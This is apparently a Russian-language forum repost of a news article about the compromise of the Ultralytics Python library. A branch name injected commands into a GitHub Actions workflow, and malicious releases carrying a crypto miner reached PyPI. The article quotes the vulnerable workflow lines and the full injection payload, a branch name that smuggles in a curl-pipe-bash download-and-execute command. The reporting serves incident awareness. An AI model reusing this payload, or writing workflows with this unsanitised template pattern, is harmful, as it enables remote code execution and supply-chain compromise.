Новости GitHub в огне: хакеры превратили библиотеку Ultralytics в криптошахту

NewsMaker

I'm just a script
Премиум
14,589
22
8 Ноя 2022
Всего одна строка кода открыла доступ к миллионам загрузок.


qss6u4tw9xp7zfe1u01lv5bf6rrh45c6.jpg


Репозиторий Python-библиотеки Ultralytics, широко используемой в задачах компьютерного зрения, Для просмотра ссылки Войди или Зарегистрируйся , в результате которой злоумышленники получили возможность выполнять код с привилегиями обработчика GitHub Actions. Воспользовавшись этой уязвимостью, они разместили на PyPI вредоносные версии библиотеки, предназначенные для майнинга криптовалюты.

Уязвимость была связана с пакетом ultralytics-actions, который автоматизирует запуск обработчиков при определённых действиях в репозитории. Для этого и используется механизм GitHub Actions. В проекте Ultralytics обработчик, привязанный к событию pull_request_target, вызывал файл format.yml для форматирования кода в поступающих pull-запросах. В этом файле выполнялись shell-команды с шаблонами подстановки, такими как:

git pull origin ${{ github.head_ref || github.ref }}

git config --global user.name "${{ inputs.github_username }}"

git config --global user.email "${{ inputs.github_email }}"

Злоумышленники отправили pull-запрос в репозиторий Ultralytics, указав в качестве имени ветки следующую строку:

openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Это привело к выполнению команды:

curl -sSfL raw.githubusercontent.com/.../file.sh | bash

В результате атакующие получили доступ к токенам репозитория и другим конфиденциальным данным. Предполагается, что они изменили обработчик publish.yml, убрав проверку учётной записи, с которой разрешено публиковать релизы на PyPI, и использовали технику отравления сборочного кэша GitHub Actions для внедрения своих данных в релиз.

Первый вредоносный релиз Ultralytics версии 8.3.41 был опубликован на PyPI 4 декабря в 23:51 (MSK) и удалён в 12:15 следующего дня. В 15:47 был размещён ещё один релиз 8.3.42, который удалили в 16:47. Таким образом, вредоносные версии были доступны для загрузки около 13 часов. В этих выпусках содержался код, загружающий с внешнего сервера компонент XMRig для майнинга.

Разработчики оперативно устранили проблему и выпустили корректирующие релизы 8.3.43 и 8.3.44. Однако спустя два дня злоумышленники вновь опубликовали вредоносные релизы 8.3.45 и 8.3.46, включающие другой код. До завершения расследования пользователям рекомендуют воздержаться от установки новых версий и зафиксировать в зависимостях выпуск 8.3.44.
 
Источник новости
www.securitylab.ru

Похожие темы